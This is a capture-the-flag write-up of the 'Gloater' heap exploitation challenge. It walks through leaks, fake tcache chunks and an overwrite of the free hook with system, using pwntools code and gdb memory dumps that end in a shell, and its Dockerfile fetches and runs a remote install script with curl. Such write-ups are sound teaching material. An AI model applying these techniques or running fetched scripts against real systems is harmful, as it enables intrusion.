[HTB-CyberApocalypse-24] Gloater


Gloater was a pwn challenge with an insane difficulty rating during the Cyber Apocalypse 2024. While it had the most difficult rating, it wasn't the pwn with the least solves. But it was still an interesting challenge with many options to gain code execution. This writeup certainly presents a ... let's call it special way ;)

Official Repo

You can find the official writeup, challenge, and source code on github. If you want you can play along :)

Challenge authors these days can't get enough of heap exploits it seems. And so we are once again presented with a typical limited heap setup:

1) Update current user
2) Create new taunt
3) Remove taunt
4) Send all taunts
5) Set Super Taunt
6) Exit

The binary itself is also protected as per usual:

❯ checksec gloater
[*] './gloater'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

And to make our lifes easier we are given a docker container as well as glibc and the matching ld.so . Since the solution depends quite a bit on the distro and libc version used, I recommend to get into the habit of developing exploits in the provided Docker. To do so just add a few lines to the dockerfile:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
FROM ubuntu:20.04
ENV DEBIAN_FRONTEND noninteractive

RUN apt-get update --fix-missing && apt-get -y upgrade
RUN apt-get install -y socat
RUN apt-get install -y sudo python3 python3-pip gdb tmux curl
RUN pip install pwntools
RUN bash -c "$(curl -fsSL https://gef.blah.cat/sh)"
RUN useradd -m ctf

COPY challenge/* /home/ctf/

RUN chown -R ctf:ctf /home/ctf/

WORKDIR /home/ctf
USER ctf

EXPOSE 9001
CMD ["./run.sh"]

I just installed gdb, gef, pwntools and whatever dependencies are needed. Also tmux because it's just handy to have everything in a single split view. Also don't forget to add the privileged and SYS_PTRACE flags when running docker. I also get into the habit to mount my working dir into docker. This allows to edit the file on the host (e.g. using VSCode) without further setup, and also it won't get deleted when exiting/removing the container. The command I used to run the container is:

docker build --tag=gloater . && docker run -it -p 9001:9001 -v $(pwd):/home/ctf/working --privileged --cap-add=SYS_PTRACE --rm --name=gloater --entrypoint /bin/bash gloater

This drops us straight into the docker. If we want to get into the docker from another shell we can just use docker exec -it gloater bash . Nice, with our setup being done, let's take a closer look at the binary.

Static Analysis

Since the challenge source is available in the HackTheBox github repo, I will keep this short and not look at too much assembly.

Create Taunt

This function allows us to create a taunt consisting of a target and the taunt data. The following struct is stored on the heap:

1
2
3
4
struct Taunt {
    char target[0x20];
    char *taunt_data;
};

The whole function looks as follows:

Create Taunt

But as you can see a few restrictions are in place.

A curious and helpful detail is that we can set ourself as the taunt_target . This allocates only the target chunk, but no data. The pointer also doesn't get stored and the taunt_counter doesn't get increased. This can help us align the stack in certain ways.

We are allowed at most 7 taunts. To keep track of this the program uses a taunt_count` variable which is increased, but not decreased on a free. This means we can only do 7 allocations at most.

Also interesting is the memset at 0x15fe followed by a memcpy. The memset resets the first 0x10 bytes of our taunt_target to 0, making it so that only the next 16 bytes are left. The memcpy on the other hand copys the pointer of the taunt_data into the last 8 bytes of the taunt_target chunk.

Another noteworthy detail is the gigantic read of 0x3ff bytes at 0x15cd . This is our taunt data and the chunk get's malloced accordingly to the read size. Also note that this variable is stored on stack and then copied over to the heap.

Remove Taunt

Remove Taunt

This is super boring as it does what it says and frees a taunt. First, the taunt data (stored at \*taunt_target+0x20 ) gets freed, and afterward it frees the taunt_target . The pointer in the taunt list is set to zero, and the counter isn't decreased. No use-after-free or anything else of help here.

Update user

When starting the program we are asked for our name and it get's stored in the .bss segment. This is also the username the create function checks against when entering a taunt target. The following code is used to update this entry:

Update User

As we can see at 0x140d the size used for read is 0x10. The loop afterwards checks for a space character. If no space is found we enter the block at 0x1464 where some funky stuff is happening.

The program copys the string PLAYER FROM THE FACTIONLESS into the user variable and appends our new user name. But looking at the bss reveals that the user variable is only 0x10 in size, resulting in an overflow. We can also see where exactly we overflow into:

BSS Segment

We overflow the super_taunt_plague variable, into the taunts list where we can completely overwrite the first entry, and partially overwrite the 4 lowest bytes of the second entry. This is already super useful as we can use this to manipulate the taunt list and call free on arbitrary pointers.

The function also gives us a not so subtle leak. Take a look at 0x1459 where we print the old user name. Since it uses printf("%s") and the username size is 0x10, which is also read at the start of the program, we can excatly fill this buffer in such a way that it aligns with the next variable. This means we can leak whatever is stored in super_taunt_plague . What is stored there you may ask? Let's find out.

Set Super Taunt

Set Super Taunt

This function allows us to specify a taunt (which has to be allocated and stored in the taunt list) and make it a super taunt. A super taunt is a taunt accompanied by a plague. The plague data is stored on the stack, and limited to 0x80 bytes. The pointer to the stack where our plague resides is then stored right under the user name.

This means, using the super taunt first and update user second, we can leak a stack variable.

This function however is way more powerful, because it faces the exact same issue as the super taunt. It uses printf(%s) to print our plague back to us, but the buffer used for the plague, is never set to zero. This means we can leak whatever is stored on the stack, or even stored exactly behind the data used to store our plague.

Such power however isn't given easily to the player. We can only call this function once. Just as with the update user function, a flag is set preventing us from calling it multiple times. So we can get only one leak.

Special features

There is one more special feature in the binary. As you might have noticed in the bss segment are variables for old_malloc_hook and old_free_hook . This is because the program uses malloc and free hooks to call a function called validate_ptr

Validate_ptr

Whenever calling free or malloc it checks if the pointer given to free or returned by malloc is within the libc and exits if this is case. So yeah, no easy win here.

Summary

Alright, that was a lot. So let's summarize:

  • We can allocate up to 7 chunks of 0x31 size and 7 chunks of sizes up to 0x400 bytes
  • The taunt list is well managed and there is no UAF
  • It's possible to update the user name and leak data from the stack. Both can only be done once
  • Updating the username can leak a stack address if the super taunt is set first. But this prevents overflowing into the taunt list
  • We can partially overwrite the taunt list, eliminating the need for a heap leak as we can overflow the last byte
  • To align the stack in our favor, we can create taunts with ourself as a target withtout increasing the taunt counter
  • If we manipulate the heap to get a chunk witihin libc, the validte_ptr function will catch us and exit

Exploitation Overview

There are several ways to gain code execution. Before presenting "my solution" let's take a detour.

Official solution

The official solution uses the super taunt to leak a libc adress. Next up it changes the username to get a leak of the stack and also overwrite the first entry in the taunt list to point into tcache_perthread_struct . When freeing this and allocating another chunk it's possible to write arbitrary data into this struct, manipulating the head of any other tcache bins. Setting the head of such a bin to the stack, allows writing data on the stack when allocating the matching chunk size. This is then used to craft a ropchain. Pretty neat solution.

TLS DTOR

Another super nice approach is shown in the writeup by chovid99.The trick used there is to overwrite the tls-dtor list. I'm note sure why the validate_ptr didn't catch it as they write at the end "Now that we have successfully overwritten the tls_dtor_list, we can simply trigger exit by putting invalid menu."". But I assume even if it did, it would just call exit anyway (And it may as well have without the author noticing). So this is a super elegant unintended solution and of all the writeups given so far my favorite.

Another approach

If it's stupid but it works, it ain't stupid. While I noticed the stack leak, I didn't tink of a ropchain. But I found the use of the hooks very intriguing. Especially given the fact that we have old_malloc_hook and old_free_hook just in reach in the bss segment. If we could somehow write into these variables we would have code execution without worrying about the valide_ptr function. And since overwriting hooks is the solution to almost all CTFs, I set my mind to go down this path. This would however require for us to get a leak of a binary address, since the binary is compiled using PIE, and as such the base address is randomized.

Actual Exploitation

Boilerplate code

To make our life easier, let's set up some boilerplate code:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#!/usr/bin/env python3
from pwn import *
#convenience Functions
sa      = lambda delim,data         :io.sendafter(delim, data, timeout=context.timeout)
sla     = lambda delim,data         :io.sendlineafter(delim, data, timeout=context.timeout)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop, timeout=context.timeout)
uu64    = lambda data               :u64(data.ljust(8, b'\x00'))

# Exploit configs
binary = ELF('/home/ctf/gloater')
host = '94.237.59.102'
port = 48388
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)

def launch_gdb(breakpoints=[], cmds=[]):
    if args.NOPTRACE:
        return

    info("Attaching Debugger")
    cmds.append('handle SIGALRM ignore')
    for b in breakpoints:
        if binary.address == 0:
            warning("Setting relative Breakpoints but binary has not been rebased")
        cmds.insert(0,'b *' + str(binary.address + b))
    gdb.attach(io, gdbscript='\n'.join(cmds))
    #time.sleep(2) # Wait for gdb to start, dirty hacks are dirty


def update(data):
    sla(b'> ', b'1')
    sa(b'User: ', data)

def create(target, data, skip = False):
    sla(b'> ', b'2')
    sa(b'target: ', target)
    if not skip:
        sa(b'Taunt: ', data)

def remove(idx):
    sla(b'> ', b'3')
    sla(b'Index: ', idx)

def setsuper(idx, data): # or as i call, getleak
    sla(b'> ', b'5')
    sla(b'Taunt:', idx)
    sa(b'taunt:', data)
    return ru(b'Registered')

if __name__ == '__main__':
    # call with REMOTE to run against live target

    if args.REMOTE:
        args.NOPTRACE = True # disable gdb when working remote
        io = remote(host, port)
    else:
        #context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']
        context.terminal = ['tmux', 'splitw', '-h']
        io = process('/home/ctf/gloater')

    if not args.REMOTE:
        for mmap in open('/proc/{}/maps'.format(io.pid),"rb").readlines():
            mmap = mmap.decode()
            if binary.path.split('/')[-1] == mmap.split('/')[-1][:-1]:
                binary.address = int(mmap.split('-')[0],16)
                break
    launch_gdb()
    io.interactive()

Make sure to run the script inside Docker and inside of an active tmux session, otherwise the attach won't work. Also just so you know: The script above cheats a little and reads the bianry base from the memory maps and sets it accordingly. This allows us to use things such as binary.sym.taunts in our script and it also allows us to specify breakpoints by their relative address as seen in BinaryNinja and the screenshots above. This is just a convenience feature. We just have to make sure to not rely on those values until we actually get a leak with the a process address.

Getting Leaks

As seen during our static analysis we can user the super taunt as a leak function. Let's setup our exploit code and run it with a breakpoint on the print of set super taunt to see what values we can actually leak.

1
2
3
4
5
sa(b'> ', b'A') # Intial user
create(b'B', b'C') # Taunt 0 to add a plague
launch_gdb(breakpoints=[0x18c5], cmds=['c'])
setsuper(b'0', b'D')
io.interactive()

Running this gives us the following:

Supertaunt printf leak

Using vmmap we can check in what memory areas the different pointers reside. We see that the value at +0x30 is actually part of gloater with an offset of 0x1a85 , We can also see some stack values. But they aren't as important as we have our user update function to leak a stack address. But we also see a pointer to puts+0 at an offset of +0x88. Which is super convienient because this is pretty much exactly the allowed plague size. Based on this knowledge we can add two convience functions to our code:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
def pieleak():
    pieleak = uu64(setsuper(b'0', b'D'*0x58)[-7:-1])
    binary.address = pieleak - 0x1a85
    success(f"LEAK {hex(pieleak)}")
    success(f"PIE  {hex(binary.address)}")
    print(f"data @ {hex(binary.symbols['user'])}")
    return

def libcleak():
    leak = uu64(setsuper(b'0', b'D'*0x88)[-7:-1])
    if not args.REMOTE:
        libc.address = leak-0x84420
    else:
        libc.address = leak-0x875a0
    success(f"LEAK {hex(leak)}")
    success(f"LIBC {hex(libc.address)}")

You may notice that I had different offsets in the Docker vs. the Remote challenge. I have no idea why, but it's a quick fix and also the reason why extensive logging helps during development ;) There is one more issue to these leak functions: We can only call one of them as a flag gets set and we cant call set_super_taunt again. Bummer.

Overwriting Stuff

Lets not get stopped by problems for future us, and continue by leveraging the next bug: Using update_user to overwrite data. But what do we want to overwrite? The reasonable thing to do would be to overwrite a taunt pointer in the taunts list. And our goal is to overwrite stuff in the .bss segment. To do so, we would have to get a chunk allocated somewhere in this section. Since we are working with the tcache this is pretty reasonable. We would just have to manipulate the fd pointer of a freed tcache. This is just alike manipulating the linked list of fastbins , but with much lesser security checks. If you want to know about this technique keywords for google are Tcache DUP and Tcache_poisening neatly shown here. But we have no UAF and no overflow. Oh noe!

Here comes a handy trick: Crafting fake chunks. An allocated chunk is just some data fullfilling whatever arbitrary conditions libc applies. And in the case of tcaches this condition is just "Has a valid header". Let's just allocate two Chunks and see how they look on the stack and in the taunt list:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
gef➤  x/20gx &user
0x55d521321100 <user>:  0x0000000000000041      0x0000000000000000
0x55d521321110 <super_taunt_plague>:    0x0000000000000000      0x0000000000000000
0x55d521321120 <taunts>:        0x000055d522f342a0      0x000055d522f34310
0x55d521321130 <taunts+16>:     0x0000000000000000      0x0000000000000000
0x55d521321140 <taunts+32>:     0x0000000000000000      0x0000000000000000
0x55d521321150 <taunts+48>:     0x0000000000000000      0x0000000000000000
0x55d521321160 <super_taunt>:   0x0000000000000000      0x0000000000000002
0x55d521321170 <libc_start>:    0x00007ff8410a51f0      0x00007ff84127b1f0
0x55d521321180 <user_changed>:  0x0000000000000000      0x0000000000000000
0x55d521321190 <old_free_hook>: 0x0000000000000000      0x0000000000000000

gef➤  x/32gx 0x000055d522f342a0-0x10
0x55d522f34290: 0x0000000000000000      0x0000000000000031 <--- Header of Taunt[0]
0x55d522f342a0: 0x0000000000000000      0x0000000000000000 <--- Taunt[0]
0x55d522f342b0: 0x4141414141414141      0x0041414141414141
0x55d522f342c0: 0x000055d522f342d0      0x0000000000000041 <--- Taunt[0]+0x20 Points to taunt data
0x55d522f342d0: 0x4343434343434343      0x4343434343434343 <--- Taunt[0] Data with size 0x41
0x55d522f342e0: 0x4343434343434343      0x4343434343434343
0x55d522f342f0: 0x4343434343434343      0x0043434343434343
0x55d522f34300: 0x0000000000000000      0x0000000000000031 <--- Header of Taunt[1]
0x55d522f34310: 0x0000000000000000      0x0000000000000000
0x55d522f34320: 0x4242424242424242      0x0042424242424242 <--- Taunt[1]+0x20 Points to taunt data
0x55d522f34330: 0x000055d522f34340      0x0000000000000041 <--- Taunt[1] Data with size 0x41
0x55d522f34340: 0x4444444444444444      0x4444444444444444
0x55d522f34350: 0x4444444444444444      0x4444444444444444
0x55d522f34360: 0x4444444444444444      0x0044444444444444
0x55d522f34370: 0x0000000000000000      0x0000000000020c91 <--- Top Chunk
0x55d522f34380: 0x0000000000000000      0x0000000000000000

So the data structure is just as we expected. Now let's play a bit "What if".

What if the value at 0x55d522f342b0 would look exactly like the one below? That means we put a fake header (Basically just the value 0x41) there. What if we could now call free( 0x55d522f342c0 )? Well we would have a free chunk of size 0x41 at this adress. Now what if we would also free the legitimate chunk stored at 0x55d522f342d0 , i.e. the Chunk containing the taunt[0] data? Well we would get an fd pointer stored at 0x55d522f342d0 . If we now allocate an 0x41 large chunk we would get the faked chunk back (starting at 0x55d522f342c0 ) which would allow us to overwrite into the free chunk stored 0x10 bytes later. This basically allows us to write an arbitrary fd pointer.

There are some issues however. First you can see we have the heap aligned at an unfortunate place. We can do this once, but given we probably have to get multiple fake chunks, we have to do this many times. But the heap is aligned in such a way that we have an "address break" from 0x42XX to 0x43XX. Why is that bad you ask? Well we don't know the heap address and as such have to rely on a partial overwrite of the pointer of the taunt list. We want to limit our overwrite to the last byte only to make it reliable. The other issue is the fact that we have to be careful how we craft our fake chunk since the remove function always calls free(taunt+0x20) first. We have to make sure to put either 0 or something reasonable there. And the last thing to remember is that if we have only one tcache and free it, it won't have an fd pointer. After all, there is no next chunk. So, given that, let's adapt our code. For clarity I'm once again including the whole main function here:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
if __name__ == '__main__':
    # call with REMOTE to run against live target

    if args.REMOTE:
        args.NOPTRACE = True # disable gdb when working remote
        io = remote(host, port)
    else:
        #context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']
        context.terminal = ['tmux', 'splitw', '-h']
        io = process('/home/ctf/gloater')

    if not args.REMOTE:
        for mmap in open('/proc/{}/maps'.format(io.pid),"rb").readlines():
            mmap = mmap.decode()
            if binary.path.split('/')[-1] == mmap.split('/')[-1][:-1]:
                binary.address = int(mmap.split('-')[0],16)
                break
    sa(b'> ', b'A')
    launch_gdb(breakpoints=[0x1313], cmds=['c'])

    # === Align Heap to start at some low 0xY3XX Address

    create(b'A', b'B'*0x1F, True)
    create(b'A', b'B'*0x1F, True)
    create(b'A', b'B'*0x1F, True)
    # ======
    create(b'B'*24+b'\x31', p64(0)*3+b'B'*(0x2F-24)) # Fake Chunks are fake
    create(b'C'*0x1F, b'C'*0x2F)
    create(b'D'*0x1F, b'D'*0x2F)
    create(b'E'*0x1F, b'D'*0x1F)
    remove(b'2') # Yo this is crucial and I dont know why, lul
    pieleak()
    io.interactive()

You can step through each create by using continue in gdb. The breakpoint is set in the main function just after printing the menu. At the end our layout looks as follows:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
gef➤  x/32gx 0x000055a3de3a8330-0x10
0x55a3de3a8320: 0x0000000000000000      0x0000000000000031
0x55a3de3a8330: 0x0000000000000000      0x0000000000000000 <--- Legit Taunt[0] with a fake header
0x55a3de3a8340: 0x4242424242424242      0x0000000000000031 <--- Fake header of 0x31 size
0x55a3de3a8350: 0x000055a3de3a8360      0x0000000000000041 <--- Freeing this breaks the heap
0x55a3de3a8360: 0x0000000000000000      0x0000000000000000
0x55a3de3a8370: 0x0000000000000000      0x4242424242424242
0x55a3de3a8380: 0x4242424242424242      0x0042424242424242
0x55a3de3a8390: 0x0000000000000000      0x0000000000000031
0x55a3de3a83a0: 0x0000000000000000      0x0000000000000000
0x55a3de3a83b0: 0x4343434343434343      0x0043434343434343
0x55a3de3a83c0: 0x000055a3de3a83d0      0x0000000000000041
0x55a3de3a83d0: 0x4343434343434343      0x4343434343434343
0x55a3de3a83e0: 0x4343434343434343      0x4343434343434343
0x55a3de3a83f0: 0x4343434343434343      0x0043434343434343
0x55a3de3a8400: 0x0000000000000000      0x0000000000000031
0x55a3de3a8410: 0x0000000000000000      0x000055a3de3a8010

gef➤  heap bins
────────────────────────────────────────────────── Tcachebins for thread 1 ──────────────────────────────────────────────────
Tcachebins[idx=1, size=0x30, count=1] ←  Chunk(addr=0x55a3de3a8410, size=0x30, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
Tcachebins[idx=2, size=0x40, count=1] ←  Chunk(addr=0x55a3de3a8440, size=0x40, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)

As you can see we have put a fake chunk header at 0x55a3de3a8350 . We also get a PIE leak, so this is nice for later. Let's play what if again :D

What if we free(taunt[0]) now? Well we would first free the data of taunt[0] , i.e. free(0x000055a3de3a8360) . This would get put into Tcachebins[idx=2] , next we would free taunt[0] itself, putting it in Tcachebins[idx=1] . So far, so legit. Now if we could call free(0x55a3de3a8350) we would free our fake chunk and put this address also in Tcachebins[idx=2] . Funny enough we can do this:

1
2
3
4
5
6
7
8
[...]
info('remove Taunt 0')
remove(b'0')
info('Ovewrite Taunt 1')
update(b'A'*12+b'\x50')
info('Remove Taunt 1 (Fakechunk)')
remove(b'1')
io.interactive()
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
gef➤  c
gef➤  x/42gx 0x0000558981dcb330-0x10
0x558981dcb320: 0x0000000000000000      0x0000000000000031
0x558981dcb330: 0x0000558981dcb410      0x0000558981dcb010
0x558981dcb340: 0x4242424242424242      0x0000000000000031
0x558981dcb350: 0x0000558981dcb330      0x0000558981dcb010
0x558981dcb360: 0x0000558981dcb440      0x0000558981dcb010
0x558981dcb370: 0x0000000000000000      0x4242424242424242
0x558981dcb380: 0x4242424242424242      0x0042424242424242
0x558981dcb390: 0x0000000000000000      0x0000000000000031
0x558981dcb3a0: 0x0000000000000000      0x0000000000000000
0x558981dcb3b0: 0x4343434343434343      0x0043434343434343
0x558981dcb3c0: 0x0000558981dcb3d0      0x0000000000000041
0x558981dcb3d0: 0x4343434343434343      0x4343434343434343
0x558981dcb3e0: 0x4343434343434343      0x4343434343434343
0x558981dcb3f0: 0x4343434343434343      0x0043434343434343
0x558981dcb400: 0x0000000000000000      0x0000000000000031
0x558981dcb410: 0x0000000000000000      0x0000558981dcb010
0x558981dcb420: 0x4444444444444444      0x0044444444444444
0x558981dcb430: 0x0000558981dcb440      0x0000000000000041
0x558981dcb440: 0x0000000000000000      0x0000558981dcb010
0x558981dcb450: 0x4444444444444444      0x4444444444444444
0x558981dcb460: 0x4444444444444444      0x0044444444444444
gef➤  heap bins
────────────────────────────────────────────────── Tcachebins for thread 1 ──────────────────────────────────────────────────
Tcachebins[idx=1, size=0x30, count=3] ←  Chunk(addr=0x558981dcb350, size=0x30, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)  ←  Chunk(addr=0x558981dcb330, size=0x30, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)  ←  Chunk(addr=0x558981dcb410, size=0x30, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
Tcachebins[idx=5878067350271, size=0x558981dcb010, count=2] ←  Chunk(addr=0x558981dcb360, size=0x558981dcb010, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)  ←  Chunk(addr=0x558981dcb440, size=0x40, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)

We can already see something broken here since our second tcachebin has a broken size and idx. But compare the first chunk in there: It's still our bin for tcaches of size 0x41. Our goal here is to overwrite the fd stored at 0x558981dcb360 . This is our legitimate taunt[0] data chunk. To do so we can allocate our fake chunk (stored at 0x558981dcb350 ) and the fd would be at 0x558981dcb350+16 . This may be hard to follow, so let's put it in code and inspect the memory:

1
2
3
info(f'Create Taunt 3 - Overwrite FD with {hex(binary.symbols["super_taunt"])}')
create(b'X'*16+p64(binary.symbols['super_taunt']),b'Y'*0x3F)
io.interactive()
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
gef➤  x/16gx 0x0000564ae6926330
0x564ae6926330: 0x0000564ae6926410      0x0000564ae6926010
0x564ae6926340: 0x4242424242424242      0x0000000000000031
0x564ae6926350: 0x0000000000000000      0x0000000000000000
0x564ae6926360: 0x0000564ae5a0b160      0x0000000000000000 <--- Fake FD of legit chunk with broken size
0x564ae6926370: 0x0000564ae69264e0      0x4242424242424242
0x564ae6926380: 0x4242424242424242      0x0042424242424242

gef➤  heap bins
Tcachebins[idx=1, size=0x30, count=2] ←  Chunk(addr=0x564ae6926330, size=0x30, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)  ←  Chunk(addr=0x564ae6926410, size=0x30, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
Tcachebins[idx=1, size=0x30, count=4] ←  Chunk(addr=0x564ae6926360, size=0x0, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)  ←  Chunk(addr=0x564ae5a0b160, size=0x0, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)  ←  Chunk(addr=0x564ae6926330, size=0x30, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)  ←  Chunk(addr=0x564ae6926410, size=0x30, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)

Now we have an fd pointing to super_taunt stored in the free chunk created by free(taunt[0]) . All that's left is to allocate a few chunks to pop the free tcaches from the list and eventually we will get back our chunk allocated at super_taunt . We just haven't talked about what we actually want to write into the .bss

Basically our whole plan was to eventually overwrite the old_free_hook . We could do this now, but we don't know what to write there as we only have a pie leak. So we have to reset the flags for the super_taunt , and the user_change to basically repeat this chain. We also have to reset the taunt_count so we can start at 0 again.

1
2
3
4
5
info('Create Taunt 4 - Allocate 0x2F Chunk to pop FD to top')
create(b'AAAAA', b'Z'*0x2F)
info('Create Taunt 5 - Write at faked FD')
info('create 0')
create(b'XXXXXXXX', p64(0)+p64(0)+p64(0x00007fffffffffff)+p64(0x00007f0000000000)+p64(0)+p64(0))
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
Before create 0
gef➤  x/20gx &user
0x556b6c15f100 <user>:  0x4620524559414c50      0x20454854204d4f52
0x556b6c15f110 <super_taunt_plague>:    0x4c4e4f4954434146      0x4141414120535345
0x556b6c15f120 <taunts>:        0x4141414141414141      0x0000000000000000
0x556b6c15f130 <taunts+16>:     0x0000000000000000      0x0000556b6cbe9480
0x556b6c15f140 <taunts+32>:     0x0000556b6cbe9350      0x0000556b6cbe9330
0x556b6c15f150 <taunts+48>:     0x0000000000000000      0x0000000000000000
0x556b6c15f160 <super_taunt>:   0x0000556b6cbe9330      0x0000000000000006
0x556b6c15f170 <libc_start>:    0x00007f248394a1f0      0x00007f2483b201f0
0x556b6c15f180 <user_changed>:  0x0000000100000001      0x0000000000000000
0x556b6c15f190 <old_free_hook>: 0x0000000000000000      0x0000000000000000

After create 0
gef➤  x/20gx &user
0x556b6c15f100 <user>:  0x4620524559414c50      0x20454854204d4f52
0x556b6c15f110 <super_taunt_plague>:    0x4c4e4f4954434146      0x4141414120535345
0x556b6c15f120 <taunts>:        0x0000556b6cbe9410      0x0000000000000000
0x556b6c15f130 <taunts+16>:     0x0000000000000000      0x0000556b6cbe9480
0x556b6c15f140 <taunts+32>:     0x0000556b6cbe9350      0x0000556b6cbe9330
0x556b6c15f150 <taunts+48>:     0x0000000000000000      0x0000000000000000
0x556b6c15f160 <super_taunt>:   0x0000000000000000      0x0000000000000001
0x556b6c15f170 <libc_start>:    0x00007fffffffffff      0x00007f0000000000
0x556b6c15f180 <user_changed>:  0x0000000000000000      0x0000000000000000
0x556b6c15f190 <old_free_hook>: 0x0000000000000000      0x0000000000000000

As you can see we wrote a bunch of zeros and inverted libc_start and libc_end such that validate_ptr won't be a problem anymore

The rest of the owl

Now we basically repeat the steps above. That means we craft a fake chunk, leak a libc address using change user, allocate a chunk in the .bss and overwrite free hook with system. This is left as an exercise to the reader.

Just Kidding ;) But it's actually pretty straight forward and the perfect exercise if you want to follow along. I encourage you to try to complete the exploit at this point. For everyone else, let's continue the exploit code:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
 # ==== STAGE 2 =====
info('create 1')
create(b'B'*0x1F, b'B'*0x2F)
info('create 2')
create(b'C'*24+b'\x31', p64(0)*3+b'C'*(0x2F-24))
info('create 3')
create(b'D'*0x1F, b'D'*0x2F)
remove(b'3') #You know why, right? :D
libcleak()

info('remove Taunt 2')
remove(b'2')
info('Ovewrite Taunt 1')
update(b'A'*12+b'\xc0')
info('Remove Taunt 1 (Fakechunk)')
remove(b'1')

info(f'Create Taunt 4 - Overwrite FD with {hex(binary.symbols["old_malloc_hook"])}')
create(b'X'*16+p64(binary.symbols['old_malloc_hook']+8),b'Y'*0x3F)
info('Create Taunt 5 - Allocate 0x2F Chunk to pop FD to top')
create(b'AAAAA', b'/bin/sh\x00'*6)
info('Create Taunt 6 - Write at faked FD')
create(b'AAAAA', p64(libc.symbols['system'])+p64(5)+p64(0x00007fffffffffff)+p64(0x00007f0000000000)+p64(0)*2)
io.interactive()

As you can see we do the same steps: create some fake chunk, use update_user to overwrite the pointer stored in the taunts list, free the fake chunk, allocate some data to overwrite the fd, allocate some more data until we get back our manipulated fd, and finally write into the .bss (just a bit lower). Running this:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
ctf@d233964943bf:~/working$ ./writeup.py NOPTRACE
[*] '/home/ctf/gloater'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Starting local process '/home/ctf/gloater': pid 1395
[*] Attaching Debugger
[!] Skipping debug attach since context.noptrace==True
[+] LEAK 0x5573c2340a85
[+] PIE  0x5573c233f000
data @ 0x5573c2343100
[*] remove Taunt 0
[*] Ovewrite Taunt 1
[*] Remove Taunt 1 (Fakechunk)
[*] Create Taunt 3 - Overwrite FD with 0x5573c2343180
[*] Create Taunt 4 - Allocate 0x2F Chunk to pop FD to top
[*] Create Taunt 5 - Write at faked FD
[*] create 0
[*] create 1
[*] create 2
[*] create 3
[+] LEAK 0x7fbf280a4420
[+] LIBC 0x7fbf28020000
[*] remove Taunt 2
[*] Ovewrite Taunt 1
[*] Remove Taunt 1 (Fakechunk)
[*] Create Taunt 4 - Overwrite FD with 0x5573c2343190
[*] Create Taunt 5 - Allocate 0x2F Chunk to pop FD to top
[*] Create Taunt 6 - Write at faked FD
[*] Switching to interactive mode
1) Update current user
2) Create new taunt
3) Remove taunt
4) Send all taunts
5) Set Super Taunt
6) Exit
> $ 3
Index: $ 5
$ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
$ ls
Dockerfile     challenge  writeup.py
build_docker.sh

Gives us code execution. Ain't that nice.

What have we learned

There are a few key points:

  • We can leverage a partial overwrite to manipulate pointer even without having any leak since offsets are always static
  • tcaches are insecure as hell and overwriting any fd of a free tcache gives us arbitrary write
  • Using GDB we can carefully step through everything and examine the heap and adjust until our layout lines up just perfectly

Final Remarks

This challenge was... well, quite hard. But I liked it, particular because of the many different solutions. The intended solution was to use a fake chunk to allocate data on the stack and write a rop. Another one was using a fake chunk to ovewrite tls-dtor, and my solution was to break the challenge completely and overwrite the hook functions. I think that just goes to show how creativity really healps in solving challenges and how you have to find your own way.

If you have any questions, just reach out via Discord or Twitter

Complete script

Just for reference the complete script:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
